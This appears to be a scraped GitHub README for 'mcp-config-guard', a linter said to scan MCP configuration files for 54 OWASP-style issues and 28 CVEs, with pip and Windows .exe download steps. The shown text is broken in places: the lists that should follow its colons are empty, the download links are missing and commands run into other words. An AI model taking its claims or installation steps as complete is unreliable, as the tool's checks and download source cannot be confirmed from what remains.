Detect security risks in MCP configuration files with a zero-dependency linter that scans for 54 vulnerability types before server start.
mcp-config-guard is a simple tool that scans your code or projects to find potential security problems. It runs checks that match 54 OWASP security points. It also looks for known harmful software packages and warns you about 28 different known vulnerabilities (CVEs). You don’t need to install anything extra to run it.
This tool helps keep your projects safe from common threats you might not see otherwise. It works on Windows and requires no prior programming skills.
Before you start, make sure your computer meets these needs:
pipIf you don’t have Python installed, you can still use the standalone download to run the software directly.
Follow these steps to download and run the software easily.
To get the software, open the link below:
This link takes you to the official release section on GitHub. Here, you will find the latest versions available for download.
Look for a file that fits Windows, usually with the .exe extension or a Windows-compatible package.
If you prefer to install using Python, you can skip this step and follow the alternative method below.
Click the file name to start downloading. Save it in a place where you can easily find it, such as your "Downloads" folder or desktop.
Once downloaded:
If the software runs without installing, it may open in a window or command prompt. Just follow any on-screen instructions.
If you used the .exe installer, launch the app from your start menu or desktop.
If you want to run the tool via Python, open the Command Prompt and type:
pip install mcp-config-guardAfter this, use the following command inside Command Prompt to scan your project folder:
mcp-config-guard scan path\to\your\projectReplace path\to\your\project with the actual location of your files on your computer.
mcp-config-guard scans files in your project for security issues by:
It then creates a report to explain what it found. This report shows if there are any risks and where they are in your project.
The report tells you:
You can open the report in a text editor or special tools that read the SARIF format. This format is common for security and code analysis results.
If you run into problems:
mcp-config-guard deals with complex security topics in a simple way. It aims to help users understand and find risks linked to malicious code and unsafe packages. This approach uses ideas from AI safety, software security, and vulnerability scanning.
The key focus terms covered include:
pip install mcp-config-guardmcp-config-guard scan path\to\projectmcp-config-guard --helpRun these commands inside your Windows Command Prompt (CMD) or PowerShell.
New versions of mcp-config-guard get released regularly. Each update improves scans or adds new security checks. Keep your version fresh by downloading from the release page or updating via Python pip.
Click here to visit the downloads page and get the latest version:
ary44892/mcp-config-guard
March 12, 2026
April 13, 2026
Python